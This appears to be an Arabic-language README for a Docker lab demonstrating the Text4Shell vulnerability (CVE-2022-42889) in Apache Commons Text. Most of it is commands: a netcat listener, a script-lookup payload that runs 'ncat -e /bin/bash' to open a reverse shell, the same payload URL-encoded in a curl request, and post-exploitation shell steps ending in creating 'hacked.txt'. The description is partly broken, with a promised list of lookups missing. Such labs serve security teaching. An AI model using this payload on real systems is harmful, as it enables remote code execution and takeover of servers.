
تطبيق Docker بسيط يوضح كيفية استغلال الثغرة CVE-2022-42889.
إثبات المفهوم لثغرة Apache Commons-text CVE-2022-42889.
يقوم Apache Commons Text بإجراء الاستيفاء المتغير (Variable Interpolation)، مما يسمح بتقييم الخصائص وتوسيعها ديناميكيًا. التنسيق القياسي للاستيفاء هو "${prefix:name}"، حيث يُستخدم "prefix" لتحديد مثيل من org.apache.commons.text.lookup.StringLookup الذي يقوم بالاستيفاء. بدءًا من الإصدار 1.5 وحتى الإصدار 1.9، تضمنت مجموعة مثيلات Lookup الافتراضية عوامل استيفاء يمكن أن تؤدي إلى تنفيذ تعليمات برمجية عشوائية أو الاتصال بخوادم بعيدة. هذه العوامل هي:
Apache Commons Text الإصدار 1.5 إلى 1.9
CVE-2022-42889-POC:docker build --tag=test/text4shell .
docker run -it -p 80:8080 --name text4shell test/text4shell
docker exec -it text4shell /bin/bash
nc -nlvp 8888
curl http://localhost/text4shell/attack?search=<anything>
يمكن تنفيذ الهجوم عن طريق تمرير سلسلة نصية "${prefix:name}" حيث يكون البادئة هي lookup المذكورة: ${script:javascript:java.lang.Runtime.getRuntime().exec('ncat -e /bin/bash 172.17.0.1 8888')}
curl http://localhost/text4shell/attack?search=%24%7Bscript%3Ajavascript%3Ajava.lang.Runtime.getRuntime%28%29.exec%28%27ncat%20-e%20%2Fbin%2Fbash%20172.17.0.1%208888%27%29%7D
pwd
cd /root
pwd
ls
pwd
cd /root
pwd
ls
touch hacked.txt
ls
pwd
ls
إذا تمكنت من رؤية ملف hacked.txt في الطرفية 3 بعد أمر ls، فقد تم تنفيذ الهجوم.

يُنصح المستخدمون بالترقية إلى Apache Commons Text 1.10.0، الذي يقوم بتعطيل عوامل الاستيفاء الإشكالية افتراضيًا.